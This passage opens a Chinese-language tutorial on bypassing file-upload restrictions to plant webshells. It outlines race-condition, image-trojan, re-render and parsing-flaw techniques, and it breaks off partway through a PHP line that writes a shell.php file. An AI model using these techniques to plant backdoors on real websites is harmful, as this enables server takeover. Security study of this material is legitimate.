前言: 非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器,这个恶意的脚本文件,又被称为webshell,也就是网页的后门,webshell具有很强大的功能,比如查看服务器目录,服务器文件,执行系统命令等等。 文章目录 一.条件竞争绕过 二.图片木马制作 三.图片的二次渲染绕过 四.解析漏洞 一.条件竞争绕过 竞争条件:服务端首先是允许用户上传任意类型的文件,上传过后再去检查文件,如果文件存在恶意的内容,那么就会执行删除操作,可以利用这个时间差来完成攻击 准备一个PHP文件,代码如下: <?php fputs(fopen('shell.php','w')